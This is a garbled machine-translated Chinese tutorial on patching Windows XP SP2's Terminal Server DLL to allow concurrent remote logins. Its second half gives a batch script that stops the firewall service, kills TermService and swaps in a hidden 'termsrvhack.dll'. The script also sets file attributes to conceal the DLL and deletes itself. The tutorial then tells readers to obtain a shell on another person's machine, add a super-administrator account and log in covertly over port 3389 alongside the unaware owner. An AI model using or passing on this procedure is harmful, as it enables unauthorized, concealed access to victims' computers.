The first step: the first is to install the SP2 official version on Windows XP, installed in the normal way, no longer repeat here.
Step two: Prepare an earlier version of the SP2 Terminal Server Software (which is said to be banned from build 2082, so it is best to use the previous version), the Chinese SP2 beta is harder to find, I use the English version of Build 2055, and after running, no problems were found. You can "target=" _blank "from Http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act" >http:// Www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act
=attach&type=post&id=161513 Download build 2055 's Terminal Server execution file TermSrv.DLL. Downloaded from this link is an extension named. Dl_ file, you can change its extension to a zip file, and then unlock it with WinRAR.
Step three: Next, start Windows XP in Safe mode, and if you have multiple operating systems, you can start another system that can access the Windows XP system partition (unless you have Third-party tool software installed, Windows 98 cannot access the NTFS partition, so Windows 98 may be useless). Then, back up all the TermSrv.DLL in Windows XP that SP2 the full version, and overwrite the build 2055 version of TermSrv.DLL where all TermSrv.DLL files appear. Typically, TermSrv.DLL appears at least two locations, respectively: \windows\system32,\windows\system32\dllcache. Where the original TermSrv.DLL is used, the build 2055 version of the TermSrv.DLL is covered. This article is published in http://bianceng.cn (computer science)
Step Fourth: Start Windows XP in normal mode, if the system's file Protection prompts that the TermSrv.DLL file has been modified, and asks if you want to recover, choose No.
Fifth step: Finally, the registry should be modified to increase the number of user licenses for the Terminal server. Since modifying the registry is cumbersome and error prone, you can modify the registry with the following batch command:
@echo off
Setlocal
Set regkey= "Hklm\system\currentcontrolset\control\terminal server\licensing Core"
REG ADD%regkey%/V enableconcurrentsessions/t reg_dword/d 1/f
Endlocal
Save the above as a batch command file, such as Aa.bat, and double-click to execute it.
I do not recommend this approach, too annoying to lock, but also to let the system back up. We can write a batch file so that the system does not have to restart the implementation of XP multiuser landing, first of all, we first to understand a registry operation of the command parameters:
REG ADD KeyName [/v valuename/ve] [/t Type] [/s Separator] [/d] [/f]
KeyName [\\machine\]fullkey
Machine remote machine name-ignores default to current machine. On the remote machine
Only HKLM and HKU.
FullKey ROOTKEY\SubKey
Rootkey [HKLM HKCU HKCR HKU HKCC]
Subkey The full name of the registry key under the selected ROOTKEY.
/v The Value name to add under the selected item.
/ve adds a blank value name to the registry key (default).
/t RegKey data type
[REG_SZ REG_MULTI_SZ REG_EXPAND_SZ
REG_DWORD REG_Binary Reg_none]
If omitted, the REG_SZ is used.
/s specifies a character to be used as a delimiter in the REG_MULTI_SZ data string
If omitted, "" is used as a separator.
/d The data to be assigned to the added registry ValueName.
/f Force Overwrite existing registry key without prompting.
For example:
REG ADD \\ABC\HKLM\Software\MyCo
Add a registry key on the remote machine ABC HKLM\Software\MyCo
REG ADD hklm\software\myco/v data/t reg_binary/d fe340ead
Add a value (name: Data, type: REG_BINARY, Date: fe340ead)
REG ADD hklm\software\myco/v mru/t reg_multi_sz/d fax\0mail
Add a value (name: MRU, type: REG_MUTLI_SZ, data: fax\0mail\0\0)
REG ADD hklm\software\myco/v path/t reg_expand_sz/d ^%systemroot^%
Add a value (name: Path, type: REG_EXPAND_SZ, data:%systemroot%)
Note: Use the caret (^) in the curried string
In order to keep the system from getting back up, we can use the SHUTDOWN-A command.
According to the above information, we can write a batch process to achieve the XP system multiuser landing without the need to restart the system.
The code is as follows:
@echo off
@net Stop SharedAccess
@ntsd-C q-p "pid"
@reg add HKLM\Software\Microsoft\Windows "" Nt\currentversion\winlogon/v keeprasconnections/t reg_sz/d 1/f
@reg add Hklm\system\currentcontrolset\control\terminal "" Server/v fdenytsconnections/t reg_dword/d 00000000/f
@reg add hklm\system\currentcontrolset\control\terminal "" server\licensing "" core/v enableconcurrentsessions/t REG_ DWORD/D 00000001/f
@reg add hklm\system\currentcontrolset\services\termservice\parameters/v servicedll/t reg_expand_sz/d%SystemRoot%\ system32\termsrvhack.dll/f
@copy C:\termsrvhack.dll C:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r C:\windows\system32\dllcache\termsrvhack.dll
@copy C:\termsrvhack.dll C:\windows\system32\termsrvhack.dll
@attrib +h +s +r C:\windows\system32\termsrvhack.dll
@shutdown-A
@del C:\termsrvhack.dll
@net Start TermService
@del C:\3389.bat
Where the "pid" is to replace the TermService service PID number, you can use the command tasklist/svc command. Of course Win2000 and the following systems are not tasklist ordered.
The specific method is: first to get the other side of a shell, and then under the shell with Third-party software to open Terminal Services, do not change the default 3389 port, or to restart before landing, and then build one or clone a super administrator user.
Next, download the Termsrvhack.dll and the batch process to the other side of the C-packing directory, and then run the batch under the shell. Prompt success!
Finally open the lander, 3389 terminal Landing!
Explain your landing in the inside after the operation and the computer's owner operation is not affect each other, he played his, you play your, hehe, cool?!
